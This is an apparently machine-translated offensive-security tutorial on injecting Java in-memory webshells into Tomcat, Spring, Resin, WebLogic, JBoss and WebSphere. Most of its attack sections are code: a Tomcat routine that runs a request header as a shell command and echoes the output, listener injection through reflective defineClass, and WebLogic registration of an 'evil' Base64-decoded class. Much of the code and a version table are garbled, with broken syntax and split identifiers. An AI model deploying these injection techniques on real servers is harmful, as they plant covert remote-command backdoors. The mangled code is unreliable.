3.7.4. Request location based on Thread.currentThread()

0 24
1. PrefaceJava memory shell injection is generally divided into two typesDynamic...

1. Preface

Java memory shell injection is generally divided into two types

  • Dynamically registers to add new listener/filter/servlet/controller, etc.
  • Agent injection modifies existing class files, inserts malicious code


Before understanding memory shell injection, there are several concepts that need to be mastered.

  • Class loading
  • The double parent delegation problem and context
  • Class reflection

2. Basic

2.1. class object

Java objects can be divided into two types of objects: Class objects and instance objects

  1. Information properties: From the perspective of the object, the Class object saves the runtime type information of each type, such as class
    Name, properties, methods, parent class information, etc. In the JVM, a class corresponds to only one Class object
  2. Universality: Class objects are objects of the java.lang.Class class, like other objects, we can get
    And operate its references
  3. Running-time uniqueness: Each time the JVM loads a class, it generates a corresponding Class object, stored in the heap, and the class
    And its Class object have a one-to-one correspondence. Once a class is loaded into memory, it does not matter which way it is loaded,
    Methods to obtain the Class object of the class, all of which return references to the same Class object on the Java heap.
    The JVM will not create two Class objects of the same type

Class does not have a public constructor, and Class objects areDuring the class loading processJava Virtual Machine and through
Calls the classClassLoader's defineClass methodAutomatically constructed, so a Class object cannot be explicitly declared.

2.2.Class loading

A class needs to go through the following three stages to be loaded into memory and made available for use:

  • Loading, which is determined by the classClassLoader (ClassLoader) executes Obtain the fully qualified name of a class
    Take its defined binary byte stream (Class bytecode), and convert the static storage structure represented by this byte stream
    Converted into a runtime data interface for methods, and according to the bytecode, generate a representation of this class in the Java heap
    java.lang.Class object
  • linking. During the linking phase, the byte stream information in the Class file is verified to ensure that it conforms to the current virtual machine
    requirement, allocate storage space for static fields and set the initial values (default zero values) of class variables, and
    If necessary, convert the symbolic references in the constant pool into direct references.
  • Initialization. At this stage, the class-defined Java program code in the class actually begins to execute. It is used forExecute this
    Static initializers and static initialization blocks of a classIf the class has a superclass, then the superclass is given priority to be initialized}}
    Initialization

All classes are dynamically loaded into the JVM for the first time when they are used (lazy loading
Trigger class loading methods

  • Class.forName("fully qualified name of the class")
  • new class constructor

In addition to the above methods, bytecode loading over the network can be used to call external classes

  • oadclass: Determine if it has been loaded, use the parent delegation model, request the parent loader, if both are empty, use
    findclass
  • findclass: Load the .class bytecode according to the name or location, and then use defineClass
  • defineclass: Parse the .class byte stream and return the class object
  • The role of loadClass is to find the class from the loaded class cache, parent loader, and other locations (here it is actually
    The parent delegation mechanism), if the class is not found in the previous step, execute findClass
  • The role of findClass is to load the bytecode of the class according to the specified method of the base URL, just like in the previous section
    Mentioned, it may read bytecode from local file systems, jars, or remote http servers, and then pass
    For defineClass
  • The role of defineClass is to process the bytecode passed in front, and convert it into a real Java class

Therefore, it is evident that the core part is actually defineClass, which determines how to convert a byte stream into
A Java class, Java's default ClassLoader#defineClass is a native method, with the logic in the JVM's C language
in the code

classloader recommendation

jxxload_help.PathVFSJavaLoader#loadClassFromBytes
org.python.core.BytecodeLoader1#loadClassFromBytes
sun.org.mozilla.javascript.internal.DefiningClassLoader#defineCl
ass
java.security.SecureClassLoader#defineClass(java.lang.String,
byte[], int, int, java.security.CodeSource)
org.mozilla.classfile.DefiningClassLoader#defineClass
org.mozilla.javascript.DefiningClassLoader
com.sun.org.apache.bcel.internal.util.ClassLoader
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

Class loader is used to load classes (class) into JVM. The JVM specification defines two types of class loaders:
Bootstrap class loader (bootstrap) and user-defined class loader (user-defined class loader). JVM runs at runtime
It produces an initialization loader hierarchy consisting of 3 class loaders, as shown in the figure below:

//1. Get the system class loader
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
System.out.println(classLoader);
//2. Get the parent class loader of the system class loader (extension class loader, can be obtained).
classLoader = classLoader.getParent();
System.out.println(classLoader);
//3. Get the parent class loader of the extension class loader (bootstrap class loader, cannot be obtained).
classLoader = classLoader.getParent();
System.out.println(classLoader);

2.3. Class Reflection

It is actually to get the Class object, and then call the object to perform a series of operations

  • Class: It is a class; a class that describes a class
  • Encapsulates the description of the method of Method
  • Describe the field of Field
  • Describe the constructor and other properties of Constructor

How to get Class object

  1. Person.class
  2. person.getClass()
  3. Class.forName("com.atguigu.javase.Person")

About Method

How to get Method:

  1. getDeclaredMethods: Get the array of Method
  2. getDeclaredMethod(String methodName, Class<?>...
    parameterTypes) can get public methods, private methods, and protected methods in the reflection class
    Protect methods, default access, but do not get parent class methods
  3. getMethod(String methodName, Class<?>... parameterTypes) can
    Get all public methods in the reflection class and its parent class, but cannot get private methods

How to call Method

  1. If the method is decorated with 'private', you need to call the Method's
    setAccessible(true), making it accessible
  2. method.invoke(obj, Object ... args)

About Field

How to get Field: getField(String fieldName)

How to get the value of Field

  1. setAccessible(true)
  2. field.get(Object obj)

How to set the value of Field

  1. field.set(Obejct obj, Object val)

If the property is modified by final, you need to get the mofilers attribute of the Field, and convert the FINAL into
If the bundle is removed, it can be modified

ips:
Array reflection


Declare array object
Array.newInstance(int.class, 3);
Array class

Class intArray = Class.forName("[I");
Class byteArray = Class.forName("[B");
Class stringArrayClass = Class.forName("[Ljava.lang.String;");

// The above string can be observed by printing
System.out.println(LinkOption[].class);
// Output
class [Ljava.nio.file.LinkOption;

// Trick
Class theClass = getClass(theClassName);
Class stringArrayClass = Array.newInstance(theClass,
0).getClass();

Get array value

Array.get(obj, index);

2.4. Parent Delegation

The role of parent delegation:

  1. To ensure that the same class file is the same object when used, the JVM is designed to take
    Used the parent delegation method to load classes, preventing the repeated loading of the same class. Generally, when the application starts
    There will be a unified AppClassLoader to load the class in the project
  2. Ensure that the boot class loader loads first to prevent the JDK's class from being tampered with

Break the parent delegation: The #loadClass method of ClassLoader is written in the parent delegation logic, just by inheriting
ClassLoaderRewrite the loadClass code to remove the parent delegationIt can break the double-parent delegation. It can also be broken through
defineclassBypass loadclass.

Tomcat class loader needs to break the double-parent delegation mechanism

Tomcat is a web container, which needs to solve the following problems

  1. A web container may need to deploy two or more applications, different applications may depend on
    Different versions of the same third-party class library, so it is necessary to ensure that the class library of each application is independent and isolated from each other
  2. The same class library of the same version deployed in the same web container can be shared, otherwise, there will be duplicate classes
    The library is loaded into JVM
  3. The web container also has its own class library, which cannot be confused with the class library of the application, and needs to be isolated from each other
  4. The web container supports that the jsp file does not need to be restarted after modification, the jsp file also needs to be compiled into .class files, and supports
    HotSwap feature
  • Architecture diagram

Tomcat's own class loader

  1. CommonClassLoader: The most basic class loader of Tomcat, the classes in the loading path can be loaded by Tomcat and
    Each webapp accesses
  2. CatalinaClassLoader: The Tomcat private class loader, which the webapp cannot access the loading path under
    class, which is invisible to the webapp
  3. SharedClassLoader: The class loader shared by all webapps, which is invisible to Tomcat
  4. WebappClassLoader: The webapp private class loader, which is only visible to the current webapp
  5. JspClassLoader
  • Each web application corresponds to a WebappClassLoader, and each jsp file corresponds to one
    JspClassLoader, so these two class loaders have multiple instances

There are 4 types of container components in Tomcat, from top to bottom they are:

  1. Engine, the implementation class is org.apache.catalina.core.StandardEngine
  2. Host, the implementation class is org.apache.catalina.core.StandardHost
  3. Context, the implementation class is org.apache.catalina.core.StandardContext
  4. Wrapper, the implementation class is org.apache.catalina.core.StandardWrapper

The meaning of 'from top to bottom' is that there is a parent-child relationship between them

  • Engine: The top-level container component, which can contain multiple Hosts
  • Host: A Host represents a virtual host, which can contain multiple Contexts
  • Context: A Context represents a Web application, which can contain multiple Wrappers
  • Wrapper: A Wrapper represents a Servlet
    srping

3. Dynamic registration method injection

The construction ideas of memory horses for various protocols and components are actually quite similar

  1. Analyze the objects involved in processing the request, read its source code to see if you can get the request content, and whether you can
    Control the response content
  2. Then analyze how the object is registered in memory, and finally we just simulate this process
    Can
  3. The general process is request->context->addListener/addFilter

How can I get the current request object, the request object generally has context, and context contains
Generally, there are some registered component methods or variable storage

Problems need to be paid attention to

  1. If it is not a web-related class loader, it may occur a class loading error where the class cannot be found, which is because of the double parent
    Delegation isolation
  2. If the current context class loader is used, the same class name can only be loaded once

To solve the above two problems, it is necessary to create a new class loader based on the current context class loader.
The use of Mlet is one method

new javax.management.loading.MLet(new java.net.URL[0],
conreq.getClass().getClassLoader())

Reference code

java.lang.reflect.Method defineClassMethod =
ClassLoader.class.getDeclaredMethod("defineClass", new Class[]
{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(new
javax.management.loading.MLet(new java.net.URL[0],
conreq.getClass().getClassLoader()), new Object[]{classBytes,}
new Integer(0), new Integer(classBytes.length)});

Before studying the middleware, it is better to understand the development history of the middleware, which versions, because different versions
The code in this book will definitely have different degrees of modification, whether your memory horse is compatible with each version is a question

3.1. Tomcat

Tomcat 5 cannot obtain catalinaLoader, so it is necessary to traverse all threads, and the following judgment can be used to obtain
The thread corresponding to Catalina, then continue to dig into the request class

for (int i = 0; i < threads.length; i++) {
if
(threads[i].getName().contains("ContainerBackgroundProcessor"))
{
o = getFieldValue(threads[i], "target");
if (!(o instanceof Runnable)) {
continue;
}
}
}

tomcat5-9

public static void echo() throws Exception{
Object o;
Object resp = null;
boolean done = false;
try {
java.lang.reflect.Method getThreadsM = ;
Thread.class.getDeclaredMethod("getThreads", new Class[0]);
getThreadsM.setAccessible(true);
Thread[] threads = (Thread[])
getThreadsM.invoke(null, new Object[0]);
for (int i = 0; i < threads.length; i++) {
String name = threads[i].getName();
if
(name.contains("ContainerBackgroundProcessor") ||
(!name.contains("exec") && name.contains("http"))) {
o = getFieldValue(threads[i], "target");
if (!(o instanceof Runnable)) {
continue;
}
try {
Object connectionHandler = null;
try {
Object[] connectors = (Object[])
getFieldValue(getFieldValue(getFieldValue(o, "this$0"),
"service"), "connectors");
for (int j = 0; j <
connectors.length; j++) {
Object connector = ;
connectors[j];
// tomcat5/6/7
connectionHandler = ;
getFieldValue(getFieldValue(connector, "protocolHandler"),
"cHandler");
if (connectionHandler == null) {
// tomcat8
connectionHandler = ;
getFieldValue(getFieldValue(connector, "protocolHandler"),
"handler");
}
break;
}
}
}
// tomcat9
connectionHandler = ;
getFieldValue(getFieldValue(o, "this$0"), "handler");

}
java.util.ArrayList processors =
(java.util.ArrayList)
getFieldValue(getFieldValue(connectionHandler, "global"),
"processors");
for (int j = 0; j < processors.size();
j++) {
Object processor =
processors.get(j);
Object req =
getFieldValue(processor, "req");
String s = (String)
req.getClass().getMethod("getHeader", new Class[]
{String.class}).invoke(req, new Object[]{"Accept-Encoded"});
if (s != null && !s.isEmpty()) {
Object conreq =
req.getClass().getMethod("getNote", new Class[]
{int.class}).invoke(req, new Object[]{new Integer(1)});
try {
resp =
conreq.getClass().getMethod("getResponse", new
Class[0]).invoke(conreq, new Object[0]);
} catch (Exception e) {
resp =
getFieldValue(getFieldValue(conreq, "request"), "response");
}

resp.getClass().getMethod("setStatus", new Class[]
{int.class}).invoke(resp, new Object[]{new Integer(200)});

resp.getClass().getMethod("addHeader", new Class[]
{String.class, String.class}).invoke(resp, new Object[]
{"Transfer-encoded", "chunked"});
done = true;
byte[] cmdBytes;
if (s.equals("echo") ) {
cmdBytes =
System.getProperties().toString().getBytes();
}
String[] cmd =
System.getProperty("os.name").toLowerCase().contains("window") ?
new String[]{"cmd.exe", "/c", s} : new String[]{"/bin/sh", "-c",
s};
cmdBytes = new
java.util.Scanner(new
ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\\\
writeBody(resp, "======" + new
}
String(cmdBytes) + "======");
if (done) {
}
catch (Exception e) {
break;
}
}
}
continue;
}
}
}
} catch (Exception ex) {
writeBody(resp, ex.toString());
}
}

通过request获取context

// 获取context
private static Object getContext(Object request) throws
Exception {
Object context = null;
try {
// all
context = getFieldValue(request, "context");
} catch (Exception e) {
try {
// tomcat6
context = invoke(request, "getContext");
} catch (Exception ignored) {
try {
// tomcat7以上
context = invoke(request,
"getServletContext");
} catch (Exception ignored1) {
// resin3
context = invoke(request, "getWebApp");
}
}
}
return context;
}
// Get standardContext
Object applicationContextFacade = geContext(request);
// Get ApplicationContext object
Object applicationContext =
getFieldValue(applicationContextFacade, "context");
// Get StandardContext object
Object standardContext = getFieldValue(applicationContext,
"context");

Add listener

getMethodByClass(standardContext.getClass(),
"setApplicationEventListeners",
Object[].class).invoke(standardContext, new Object[]
{newListeners.toArray()});

3.2. Semi-automatic mining

https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/

Tool link: https://github.com/lz520520/java-object-searcher

Introduce java-object-searcher-.jar into the classpath of the target application, or it can be placed in the jdk's ext directory
Record (one-time effort)

Write the call code to search for the target object

For example, to search for the request object, select the appropriate searcher and construct the keyword according to the characteristics of the target to be searched (required)
And blacklist (not required), you can write the following search code to execute in IDEA's Evaluate

// Set search type to include objects with Request keyword
Class.forName("me.gv7.tools.josearcher.entity.Keyword");
java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys =
new java.util.ArrayList();
keys.add(new
me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type("
listener
// Define blacklist
java.util.List<me.gv7.tools.josearcher.entity.Blacklist>
blacklists = new java.util.ArrayList();
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
("java.io.File").build());
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
("Exception").build());
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_name
("contextClassLoader").build());
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
(\
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
("ExtClassLoader").build());
// Create a breadth-first search Thread.currentThread()searcher
me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher =
new
me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.curren
tThread(), keys);
// SearchRequstByDFS searcher = new SearchRequstByDFS(Thread.currentThread(), keys); // Set blacklist searcher.setBlacklists(blacklists); //打开调试模式,会生成log日志 searcher.setIs_debug(true); //挖掘深度为20 searcher.setMax_search_depth(10); //设置报告保存位置 searcher.setReport_save_path("."); searcher.searchObject();

The beginning of the SearchRequstByBFS_log log file

For example, the request search of tomcat

3.3. spring

Object requestAttributes =
Class.forName("org.springframework.web.context.request.RequestCo"
ntextHolder").getMethod("getRequestAttributes", new
Class[0]).invoke(null, new Object[0]);
Object httprequest =
requestAttributes.getClass().getMethod("getRequest", new
Class[0]).invoke(requestAttributes, new Object[0]);
Object httpresponse =
requestAttributes.getClass().getMethod("getResponse", new
Class[0]).invoke(requestAttributes, new Object[0]);
Object servletContext =
httprequest.getClass().getMethod("getServletContext", new
Class[0]).invoke(requestAttributes, new Object[0]);

3.4. resin

3.4.1. resin4 record

resin is very considerate, his com.caucho.server.webappWebAppThe class provides the add method directly,
Here is the call addListenerObject It can be added.

servletContext = invoke(httprequest, "getServletContext");
Object webApp = servletContext;
Method addListenerObjectM =  getMethodByClass(webApp.getClass(),
"addListenerObject", new Class[]{Object.class, boolean.class});
// Instantiate and modify pwd
java.lang.reflect.Method m = Class.forName("java.lang.C"+
"lassLoader").getDeclaredMethod("defin"+"eClass", byte[].class,
int.class, int.class);
m.setAccessible(true);
Class clazz = (Class) m.invoke(new
javax.management.loading.MLet(new java.net.URL[0],
Thread.currentThread().getContextClassLoader()),clazzBytes, 0,
clazzBytes.length);
Object listener = clazz.newInstance();
addListenerObjectM.invoke(webApp, new Object[]{listener, true});

3.4.2. resin3 records

The process of adding resin3 and resin4 is basically the same. The difference lies in the method of obtaining WebApp, resin4 is
getServletContextWhile resin3 is getWebApp

servletContext = invoke(httpServletRequest, "getWebApp");

While resin3 still has a bug, if the listener calls response data writing, the response packet will
Currently chunked encoding, and it also includes the original Content-Length, which may cause parsing exceptions, as follows yakit acquisition
Until a response is received after 30 seconds of timeout

There is also a difference, as follows to obtain request, 3 and 4 obtain different implementation classes, 3 is
com.caucho.server.http.HttpRequestWhile 4 is
com.caucho.server.http.HttpServletRequestImpl

Thread.currentThread().getContextClassLoader().loadClass("com.ca
ucho.server.dispatch.ServletInvocation
quest()).invoke(null);

3.5. weblogic

3.5.1. 12.1.3 and above

ServletRequestImplIt is placed in currentWork->connectionHandler->request
While 10.3.6 is currentWork= ServletRequestImpl Here are the main differences, in addition to that,
10.3.6's context does not have phase

Object currentWork =((ExecuteThread)
Thread.currentThread()).getCurrentWork();
Field connectionHandler =
currentWork.getClass().getDeclaredField("connectionHandler");
connectionHandler.setAccessible(true);
Object httpConnectionHandler =
connectionHandler.get(currentWork);
Field requestF =
httpConnectionHandler.getClass().getDeclaredField("request");
requestF.setAccessible(true);
httpConnectionHandler = requestF.get(httpConnectionHandler);
java.lang.reflect.Field contextF =
httpConnectionHandler.getClass().getDeclaredField("context");
contextF.setAccessible(true);
WebAppServletContext webAppServletContext =
(WebAppServletContext) contextF.get(httpConnectionHandler);
byte[] evilClassBytes = new
new BASE64Decoder().decodeBuffer("yv66");

Method defineClass =
ClassLoader.class.getDeclaredMethod("defineClass", byte[].class,
Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);

// Get the classLoader from webAppServletContext
Field classLoaderF =
webAppServletContext.getClass().getDeclaredField(\
classLoaderF.setAccessible(true);
ClassLoader classLoader = (ClassLoader
classLoaderF.get(webAppServletContext);
Class servletClass = (Class) defineClass.invoke(classLoader,
evilClassBytes, 0, evilClassBytes.length);

Field phaseF =
webAppServletContext.getClass().getDeclaredField("phase");
phaseF.setAccessible(true);
Object INITIALIZER_STARTUP =
Class.forName("weblogic.servlet.internal.WebAppServletContext$C
ontextPhase).getDeclaredField("INITIALIZER_STARTUP").get(null);
Object START =
Class.forName("weblogic.servlet.internal.WebAppServletContext$C
ontextPhase).getDeclaredField("START").get(null);

Object OldContextPhase = phaseF.get(webAppServletContext);
phaseF.set(webAppServletContext, INITIALIZER_STARTUP);

webAppServletContext.registerListener("tools.mem.shells.listener",
.testCmdListener

phaseF.set(webAppServletContext, START);

After weblogic starts, in fact, higher versions do not allow the addition of listeners, and here it will check
If it is START indicating the completion of startup, an exception will be thrown here

checkNotifyDynamicContext  It will check another item

This is for 12.1.3, and above 12.2.1.3 will increase AFTER_INITIALIZER_NOTIFY_LISTENER, this
Select from

3.6. jboss

The test AS6.1 can directly reuse the tomcat listener memory horse because tomcat is embedded in jboss

3.7. WebSphere

WebSphere
version
WebSphere
Liberty
(Continuous
Delivery)
9.08.5.58.5
Liberty
Profile
8.58.07.06.16.05.15.04.03.5
Latest Fix
Pack
22.0.0.79.0.5.128.5.5.228.5.5.9
(the next
is
16.0.0.2)
8.5.0.28.0.0.157.0.0.456.1.0.476.0.2.435.1.1.195.0.24.0.73.5.7
Release
date
5 July
2022
7 June
2022
25 July
2022
June 15,
2012
June 15,
2012[5]
June 17,
2011
October
17,
2008
June 30,
2006
December
31, 2004
January
16, 2004
January 3,
2003
August
15,
2001
August
31, 2000
End of
support



June 24,
2016
(with the
release
of
16.0.0.2)
[6]

April
30,
2018
April
30,
2018
September
30,
2013
September
30, 2010
September
30, 2008
September
30, 2006
April
30,
2005
November
30, 2003
Java SE6 (until
17.0.0.2), 7,
7.1, 8 and 11
(since
19.0.0.1)
[10]
86 (until
8.5.5.13),
7, 7.1
(since
8.5.5.2)
and 8
(since
8.5.5.9)
[11]
6, 7, 7.1
(since
8.5.5.2)
and 8
(since
8.5.5.5)
6 and
7[12]
6651.41.41.41.31.2
Java EE6 (web
profile) and
7[13]
766 (web
profile)
and 7
(since
8.5.5.6)
6651.41.41.3131.21.2 (not
fully
compliant)
WebSphere
version
WebSphere
Liberty
(Continuous
Delivery)
9.08.5.58.5
Liberty
Profile
8.58.07.02.46.05.15.04.03.5
Servlet3.0,3.1,4.03.13.03.13.03.02.52.02.42.32.32.22.1&2.2
JSP2.2, 2.32.32.22.32.22.22.11.12.01.21.21.10.91 and
1.0&1.1
JSF2.0, 2.2, 2.32.22.02.23.22.01.23.01.0



EJB3.1 (lite), 3.23.23.13.21.13.13.03.02.12.02.01.11.0
JMS1.0, 2.02.01.11.14.11.11.11.11.11.02


JDBC4.0, 4.14.14.14.14.04.04.03.03.0



JPA2.0, 2.12.0,
2.1[15]
2.02.12.02.01.01.01.0



3.7.1. Echo

websphere7 cannot find a call chain like 8.5, wsThreadLocals does not have
WebContainerRequestState class, so I need to find the method, try to run the request in the thread, but did not find

https://github.com/feihong-cs/Java-Rce-Echo/blob/master/Websphere/code/websphereEch
o.jsp

While analyzing the stack, I found a method to obtain the web container as follows

com.ibm.ws.webcontainer.WebContainer.getWebContainer()

Then find the current container context, as well as request and response

com.ibm.ws.webcontainer.WebContainer.getWebContainer().getConnec
tionContext()

This context has a problem, after obtaining connContext, it needs to be initialized with WCCRequestImpl before you can get the true
Positive request, so this approach is not feasible

Continue to read and find that there is a static variable _cacheMap

This connection object pool will contain previously connected contexts, but it is not very useful, it just reuses connections, but still
To initialize req res as mentioned above

This method can also obtain the context

WebContainer.getFromCache(new
StringBuffer("30.1.20.3:9080/visor_externo/class.jsp")

3.7.2. Semi-automatic search notes

Object webapp =
(com.ibm.ws.webcontainer.webapp.WebGroupImpl)com.ibm.ws.webcontainer.
ainer.WebContainer.getWebContainer().requestMapper.map(":9080/vi"}}
sor_externo/*")).webApp;

// Set search type to include objects with Request keyword
Class.forName("me.gv7.tools.josearcher.entity.Keyword");
java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys =
new java.util.ArrayList();
keys.add(new
me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type("
listener

// Define blacklist
java.util.List<me.gv7.tools.josearcher.entity.Blacklist>
blacklists = new java.util.ArrayList();
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
("java.io.File").build());
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
("Exception").build());
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_name
("contextClassLoader").build());
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
("CompoundClassLoader").build());
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
("ExtClassLoader").build());

// Create a breadth-first search searcher for Thread.currentThread()
me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher =
new
me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.curren
tThread(), keys);
// SearchRequstByDFS searcher = new
SearchRequstByDFS(Thread.currentThread(), keys);
// Set blacklist
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(10);
//设置报告保存位置
searcher.setReport_save_path(".");
searcher.searchObject();
new
me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.curren
tThread(),new
me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type("
listener
TargetObject = {com.ibm.ws.webcontainer.webapp.WebAppImpl}
---> javaColonCtxt = {javax.naming.InitialContext}
---> defaultInitCtx =
{com.ibm.ws.naming.java.javaURLContextRoot}
---> _orb = {com.ibm.CORBA.iiop.ORB}
---> threadGroup = {java.lang.ThreadGroup}
---> childrenThreads = {class [Ljava.lang.Thread;}
---> [27] = {java.lang.Thread}
---> runnable =
{com.ibm.ws.tcp.channel.impl.NBAcceptChannelSelector}
---> selector = {sun.nio.ch.EPollSelectorImpl}
---> fdToKey = {class java.util.HashMap}
---> [316] = {sun.nio.ch.SelectionKeyImpl}
---> attachment =
{com.ibm.ws.tcp.channel.impl.TCPPort}
---> tcpChannel =
{com.ibm.ws.tcp.channel.impl.AioTCPChannel}
---> inUse = {class
[Lcom.ibm.ws.tcp.channel.impl.TCPChannelLinkedList;}
---> [0] =
{com.ibm.ws.tcp.channel.impl.TCPChannelLinkedList}
---> voidLink = {java.util.LinkedList$Link}
---> previous = {java.util.LinkedList$Link}
---> data =
{com.ibm.ws.tcp.channel.impl.TCPConnLink}
---> reader =
{com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl}
TargetObject = {com.ibm.ws.webcontainer.webapp.WebAppImpl}
---> javaColonCtxt = {javax.naming.InitialContext}
---> defaultInitCtx =
{com.ibm.ws.naming.java.javaURLContextRoot}
---> _orb = {com.ibm.CORBA.iiop.ORB}
---> threadGroup = {java.lang.ThreadGroup}
---> childrenThreads = {class [Ljava.lang.Thread;}}
---> [27] = {java.lang.Thread}
---> runnable =
{com.ibm.ws.tcp.channel.impl.NBAcceptChannelSelector}
---> selector = {sun.nio.ch.EPollSelectorImpl}
---> fdToKey = {class java.util.HashMap}
---> [316] = {sun.nio.ch.SelectionKeyImpl}
---> attachment =
{com.ibm.ws.tcp.channel.impl.TCPPort}
---> tcpChannel =
{com.ibm.ws.tcp.channel.impl.AioTCPChannel}
---> inUse = {class
[Lcom.ibm.ws.tcp.channel.impl.TCPChannelLinkedList;}
---> [0] =
{com.ibm.ws.tcp.channel.impl.TCPChannelLinkedList}
---> voidLink = {java.util.LinkedList$Link}
---> previous = {java.util.LinkedList$Link}
---> data =
{com.ibm.ws.tcp.channel.impl.TCPConnLink}
---> writer =
{com.ibm.ws.tcp.channel.impl.AioTCPWriteRequestContextImpl}
Class clazz =
Class.forName("com.ibm.ws.webcontainer.WebContainer");
Object webContainer =
clazz.getDeclaredMethod("getWebContainer").invoke(null);
Object requestMapper =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(webContai
ner,"requestMapper");
Object webGroup =
requestMapper.getClass().getDeclaredMethod("map",
String.class).invoke(requestMapper, ":9080/visor_externo/*");
Object webapp =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(webGroup,
"webApp");
Object obj0 = webapp;
// {javax.naming.InitialContext}
Object obj1 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0, "jav")
aColonCtxt;
// {com.ibm.ws.naming.java.javaURLContextRoot}
Object obj2 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj1, "def")
aultInitCtx;
// {com.ibm.CORBA.iiop.ORB}
Object obj3 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj2, "_or")
b;
// {java.lang.ThreadGroup}
Object obj4 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3, "thr")
eadGroup;
// {class [Ljava.lang.Thread;}
Object obj5 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4, "chi")
ldrenThreads;
// {com.ibm.ws.tcp.channel.impl.NBAcceptChannelSelector}
Object obj7 = null;
for (Thread thread : ((Thread[]) obj5)) {
obj7 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(thread, "r")
unnable);
if (obj7 != null &&
obj7.getClass().getName().contains("NBAcceptChannelSelector")) {
break;
}
}
// {sun.nio.ch.EPollSelectorImpl}
Object obj8 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7, "sel")
ector)}}
// {class java.util.HashMap}
Object obj9 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj8,"fdT
oKey");
Object obj10 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(((Map)
obj9).get(317),"attachment");
Object obj12 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj10,"tc
pChannel");
Object obj13 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj12,"in
Use");
Object obj15 = ((java.util.List) ((TCPChannelLinkedList[])
obj13)[0]).get(0);
Object obj18 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj15,"re
ader");
com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl req =
(com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl)
obj18;
com.ibm.ws.http.channel.inbound.impl.HttpInboundLink myLink =
(com.ibm.ws.http.channel.inbound.impl.HttpInboundLink)
req.getTCPConnLink().getVirtualConnection().getStateMap().get(co
m.ibm.ws.http.channel.impl.CallbackIDs.CALLBACK_HTTPICL);
com.ibm.ws.webcontainer.channel.WCChannelLink wcChannelLink =
(com.ibm.ws.webcontainer.channel.WCChannelLink)
myLink.getApplicationCallback();
wcChannelLink.request.getHeader("xxx")

3.7.3. Context location based on request

TargetObject = {com.ibm.ws.webcontainer.srt.SRTServletRequest}
---> _dispatchContext =
{com.ibm.ws.webcontainer.webapp.RootWebAppDispatcherContext}
---> _webapp = {com.ibm.ws.webcontainer.webapp.WebAppImpl}
idea_express:
Object obj0 = TargetObject;
//
{com.ibm.ws.webcontainer.webapp.RootWebAppDispatcherContext}
Object obj1 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"_di")
spatchContext());
// {com.ibm.ws.webcontainer.webapp.WebAppImpl}
Object obj2 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj1,"_we")
bapp());

3.7.4. Request location based on Thread.currentThread()

This location has a problem, it is not the current request

argetObject = {com.ibm.ws.util.ThreadPool$Worker}
---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap}
---> table = {class
[Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
---> [11] = {java.lang.ThreadLocal$ThreadLocalMap$Entry}
---> value =
{com.ibm.ws.util.objectpool.LocalThreadObjectPool}
---> free = {class [Ljava.lang.Object;}
---> [0] = {com.ibm.io.async.CompletedFutureWorkItem}
---> future = {com.ibm.io.async.AsyncFuture}
---> channel =
{com.ibm.io.async.AsyncSocketChannel}
---> channelVCI =
{com.ibm.ws.channel.framework.impl.InboundVirtualConnectionImpl}
---> stateStore = {interface java.util.Map}
---> [WCChannelLink] =
{com.ibm.ws.webcontainer.channel.WCChannelLink}
---> request =
{com.ibm.ws.webcontainer.channel.WCCRequestImpl}
idea_express:
Object obj0 = TargetObject;
// {java.lang.ThreadLocal$ThreadLocalMap}
Object obj1 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0, "thr") {
eadLocals());
